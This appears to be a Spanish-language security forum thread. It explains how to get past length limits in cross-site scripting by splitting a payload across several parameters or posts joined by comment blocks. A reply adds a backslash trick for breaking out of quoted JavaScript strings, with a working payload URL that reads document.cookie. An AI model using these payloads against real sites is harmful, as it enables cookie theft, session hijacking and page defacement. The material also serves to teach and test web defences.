Fragmentando código y saltando la limitación de characters (XSS)

Iniciado por Preth00nker, 9 Mayo 2010, 04:11 AM

0 Miembros y 1 Visitante están viendo este tema.

Preth00nker

Vamos al punto.

Supongamos que existe un xss difícil de explotar debido a las siguientes limitación en el número de bytes;
Del lado del cliente el input está limitado mediante max-lenght, en el script del servidor se hace una comprobación sobre la longitud de la variable antes de salvar el dato, incluso en la estructura de la tabla (en la DB) está indicado que ese campo no puede tener más de N bytes.
Ahora, Algo fundamental para esta técnica es que el xss posea la siguiente propiedad:

Es necesario que Que podamos postear en varias partes del documento, esto es:
1) Ya sea mediante varias inyecciones
2) o una misma que pueda postearse varias veces.

el objetivo será siempre unir código para darle sentido al mismo.

Bien, si conseguimos postear en varias partes del documento las limitaciones de longitud no serán un problema muy grave, debido a que entre linea y linea podemos hacer comentarios de bloque para omitir el código original de la página, dependiendo si lo que deseamos es inyectar Jacascript o HTML los siguientes dos ejemplos nos podrían guiar en el ataque

javascript:
Citar<script>
alert(1);/*
basura.....<h1>eaea</h1></body>
*/

alert(2);</script>

HTML:
Citar<iframe width=100% src="http://hakim.ws/">
<!--
basura.....<h1>eaea</h1></body>
-->
</iframe><h1>you were p0wned<!--
fddgdfgdfgdf
-->

así, podemos ver que no importa mucho lo que haya en los comentarios, lo cual, podemos ocuparlo a nuestro favor.

Imaginemos que se encuentran con la primer situación: hallamos dos variables vulnerables a xss, pongámosle nombre y apellido, digamos  title y search, ocupadas por el archivo index.php, estas son pasadas por método GET y en este caso NO es un xss persistente. lo que podemos hacer es dividir nuestra inyección de modo que en la primera que aparezca (ejemplo title) pongamos una parte da la inyección y en la siguiente (search) la continuación. algo como
Citar<...>
<title>
<?
echo $_GET['title'];
?>
</title>
<..>
<?
if($result==false)
echo "the word ".$_GET['search']." wasn't found as a valid register";
?>
así que la inyección quedaría algo como index.php?title=<script>alert(1);/*&search=*/alert(2);</script> lo cual le dice al navegador que omita todo el código hasta que nuestro script continue :)

Si en otra instancia nos encontramos con la segunda situación planteada, suponiendo que estamos dentro de un foro y encontramos un xss persistente en el título de los mensajes, de modo que este campo esta limitado a n bytes, lo que podríamos hacer es fragmentar nuestro script y dejar dos mensajes en lugar de uno, lo cual se vería como se sigue:

Citarinyección No. 1:
    <script>alert(1);/*
inyección No. 2:
    */alert(2);</script>

De modo que no importará lo que haya entre el título 1 y el título 2, y nuestra inyección tendrá sentido
como nota final cabe mencionar que en un foro real tendríamos que postear primero la inyección 2 y luego la inyección 1 pues comunmente los mensajes se ordenan por fecha de insersión o modificado.
Espero haber sido claro, cualquier duda pues estamos a sus servicios.
un saludo!
mov [MyBrain], IA

WHK

hola, buena, un poco viejo pero buena xD

también sirve en estos casos:
Código (php) [Seleccionar]
<script>
var a = '<?php echo filtro($_GET['a']); ?>';
var b = '<?php echo filtro($_GET['b']); ?>';
restodelcodigo.posible();
</script>


Digamos que ese filtro e come las comillas simples e impide escapar con una comilla para ejecutar xss, en ese caso hacemos esto:

test.php?a=\&b=;alert(document.cookie);//

Entonces quedaría así:
Citar<script>
var a = '\';
var b =
';alert(document.cokie);//';
restodelcodigo.posible();
</script>

el backslash va a invalidar la comilla simple que encerraba la variable y va a pasar a cerrar la que abre en la variable b, asi que nos aprobechamos y nos vamos en eval() y luego finalizamos con comentario de linea solamente para no corromper la ejecución normal del tag en javascript.

Lo colocaré en el post de recopilaciones. Saludos.